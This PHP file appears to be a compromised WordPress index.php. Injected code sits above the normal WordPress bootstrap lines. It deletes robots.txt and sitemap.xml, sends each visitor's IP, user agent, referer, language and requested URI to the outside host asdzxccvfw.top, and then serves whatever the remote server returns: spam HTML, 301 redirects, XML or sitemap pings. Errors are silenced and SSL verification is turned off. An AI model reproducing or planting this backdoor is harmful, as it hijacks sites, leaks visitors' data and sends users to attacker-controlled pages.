<?php
header('Content-Type: text/html; charset=utf-8');
set_time_limit(0);
error_reporting(0);
ob_clean();
@ob_end_clean();
@ob_start();
$pre = "9d3q4a";
$http_lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);    
$req_uri = base64_encode(@$_SERVER['REQUEST_URI']);
$http_host = @$_SERVER['HTTP_HOST'];
$use_agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']);
$referer = base64_encode(@$_SERVER['HTTP_REFERER']);
$remote_ddress = base64_encode(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR']:'');
$go_url = $pre.'.'."asdzxccvfw.top";
if(is_https()) {
	$http_content="https";
} else {
	$http_content="http";
}
if(file_exists($file = __DIR__."/robots.txt")) {
    @unlink($file);
}
if(file_exists($file = __DIR__."/sitemap.xml")) {
    @unlink($file);
}
$site = base64_encode($http_content."://".$http_host);
$redurl = 'http://'.$go_url.'/index.php?domain='.$site.'&uri='.$req_uri.'&lan='.$http_lan.'&agent='.$use_agent.'&referer='.$referer.'&ip='.$remote_ddress;
$html_content = get_html($redurl); 
if(strstr($html_content,"[#*#*#]")){
    $html = explode("[#*#*#]",$html_content);
    if($html[0] == "echohtml"){ echo $html[1]; exit(); }
    if($html[0] == "redirecthtml"){header('HTTP/1.1 301 Moved Permanently');header('Location: '.$html[1]);exit();}
    if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit(); }
    if($html[0] == "pingxml"){ pingsite_map($html[1]);exit(); }
}
function pingsite_map($urls){
    $list = explode("##", $urls);
    for($i = 0;$i < count($list);$i++){
        $pingRes = get_html($list[$i]);
        $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR';
        echo $list[$i].'=====>Sitemap: '.$Oooo0s.'<br/>';
    }
}
function get_html($web_url){
    $file_contents = @file_get_contents($web_url); 
    if (!$file_contents) {
        $ch_t = curl_init();
        curl_setopt($ch_t, CURLOPT_URL, $web_url);
        curl_setopt($ch_t, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch_t, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch_t, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch_t);
        curl_close($ch_t);
    }  
    return $file_contents;
}  
function is_https() {
	if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
		return true;
	} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
		return true;
	} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
		return true;
	}
	return false;
}

?><?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';